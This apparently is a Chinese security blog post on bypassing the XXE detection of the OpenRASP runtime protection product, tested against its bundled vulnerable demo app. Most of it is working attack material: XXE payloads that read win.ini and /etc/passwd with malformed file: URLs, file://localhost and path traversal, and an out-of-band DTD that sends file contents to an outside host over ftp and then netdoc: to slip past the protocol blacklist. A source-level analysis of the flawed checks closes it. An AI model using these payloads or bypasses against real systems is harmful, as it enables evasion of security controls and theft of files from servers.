openrasp检测xxe漏洞有3种算法。本文主要是讲对“算法2 – 使用 ftp:// 等异常协议加载外部实体”与”算法3 – 使用 file:// 协议读取文件”的绕过。
测试环境
windows / tomcat
目前openrasp最新版本是1.3.7-beta。
官网安装说明,https://rasp.baidu.com/doc/install/software.html。
按照官网说明安装完后,把官方提供的测试案例vulns.war放入tomcat下webapp目录即可。
此处装的是单机模式,没有管理后台,还需要修改tomcat根目录下rasp/plugins/official.js中如下配置,以开启拦截。
环境部署完后,访问vulns测试案例。响应头里面如果有openrasp字样,说明openrasp部署成功。
openrasp xxe算法
openrasp对xxe漏洞有3种检测算法。
算法1
开启算法1后,openrasp会在解析器解析xml之前,通过反射调用解析器对象的setFeature()方法,让解析器不解析xml的外部实体,相当于openrasp会自动修复xxe漏洞。
以java dom方式解析xml为例
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 从效果上讲,算法1相当于openrasp会自动添加并运行下面这一行代码
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTDs (doctypes),几乎可以防御所有xml实体攻击。
DocumentBuilder builder = factory.newDocumentBuilder();
Document d = builder.parse("src/main/resources/demo.xml"); // 解析XML
考虑到正常业务可能也会使用到外部实体,该算法默认配置是ignore,相当于关闭。
算法2
根据注释可以看出,算法2会通过黑名单机制检查是否使用异常协议加载外部实体。目前黑名单会检查ftp、dict、gopher、jar、netdoc这几种协议。算法2默认开启拦截。
算法3
从注释可以看出,算法3会检查file协议的使用情况,默认不拦截,读取不”正常”文件也只是记录日志。
算法3 – 使用file://协议读取文件绕过
windows环境
默认算法3配置为log,不拦截。由于是部署在windows上,点击页面中第二个URL链接,成功读取到c:/windows/win.ini文件内容。
给007-xxe.jsp文件发送的data参数值url解码后内容如下
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>
修改official.js文件,配置算法3为block。
再次触发上述请求,openrasp就会进行拦截。
burpsuite中该请求和响应内容如下
删除请求data参数中file协议后面2个/字符,即%2F,就能成功绕过openrasp了。
删除请求data参数中file协议后面3个/字符,也能绕过。
如之前所述,正常使用file协议读取文件,xxe算法3开启后,openrasp会拦截
file:///c:/windows/win.ini
file:///etc/passwd
但使用如下方式,就能成功绕过xxe算法3了
file:/c:/windows/win.ini // 删除file协议后面2个/
file:c:/windows/win.ini // 删除file协议后面3个/
算法3还有另外一种绕过方法。
file://localhost/c:/windows/win.ini
验证如下
Linux环境
file:/etc/passwd // 可以
file:etc/passwd // 失败
file://localhost/etc/passwd // 可以
file:etc/passwd
没有被拦截,但也读取不到文件。但可以修改后使用下面这个payload,就能读取到/etc/passwd文件内容了。
file:../../../../../../../../etc/passwd
算法2 – 使用ftp://等异常协议加载外部实体绕过
算法2默认开启拦截。为了方便,把上面的算法3拦截关闭,修改为默认值log。
先拿xxe ftp的测试payload试下。给007-xxe.jsp的data参数传递如下值
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://127.0.0.1:9000/1.dtd">
%remote;
%send;
]>
<data>4</data>
1.dtd文件内容如下。(因为openrasp会拦截,所以就不用起一个ftp服务,所以ftp协议后的主机地址没改。)
<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;
可以看到触发了拦截。
此时只要把1.dtd文件中ftp改为netdoc,并同样删除后面2个/。修改后1.dtd的内容如下。
<!ENTITY % payload SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'netdoc:publicServer.com/%payload;'>">
%param1;
再重放上面的请求。这个时候openrasp不会拦截,但报错语句中显示了c:/windows/win.ini
的文件内容。
这种绕过如果java关闭了报错,应该就不行了。测试时发现即使算法3也同时开启了拦截,依然会报错显示被读取的文件内容。
绕过原理简单分析
算法3开启拦截后,发送如下请求
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>&xxe;</foo>
official.js接收到openrasp agent传递过来的params值,其中params.entity的值是”file:///c:/windows/win.ini”。
按照”://“切割params.entity值后,生成一个数组items。items数组的第一元素保存了使用的协议,即”file”,第二元素保存了要读取的文件的位置,即”/c:/windows/win.ini”。由于items.length等于2,所以会进入下面第二个箭头处的if语句内。又由于满足下面第三个箭头处的if语句条件,所以会进入该if语句进而触发拦截。
当发送如下请求时
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:/c:/windows/win.ini" >]><foo>&xxe;</foo>
或者
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:c:/windows/win.ini" >]><foo>&xxe;</foo>
params.entity的值会是”file:/c:/windows/win.ini” 或者”file:c:/windows/win.ini” ,按照”://“进行切割,生成的items数组长度永远小于2,所以会直接运行到末尾的”return clean”处,从而绕过。
当发送如下请求时
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file://localhost/c:/windows/win.ini" >]><foo>&xxe;</foo>
上面is_absolute_path()函数中path参数值会是”localhost/c:/windows/win.ini”。linux系统情况时,path的值会是类似”localhost/etc/passwd”。分析函数代码,可以看出这种情况下is_absolute_path()函数返回值永远是false。
function is_absolute_path(path, is_windows) {
// Windows - C:\\windows
if (is_windows) {
if (path[1] == ':')
{
var drive = path[0].toLowerCase()
if (drive >= 'a' && drive <= 'z')
{
return true
}
}
}
// Unices - /root/
return path[0] === '/'
}
发表评论
您还未登录,请先登录。
登录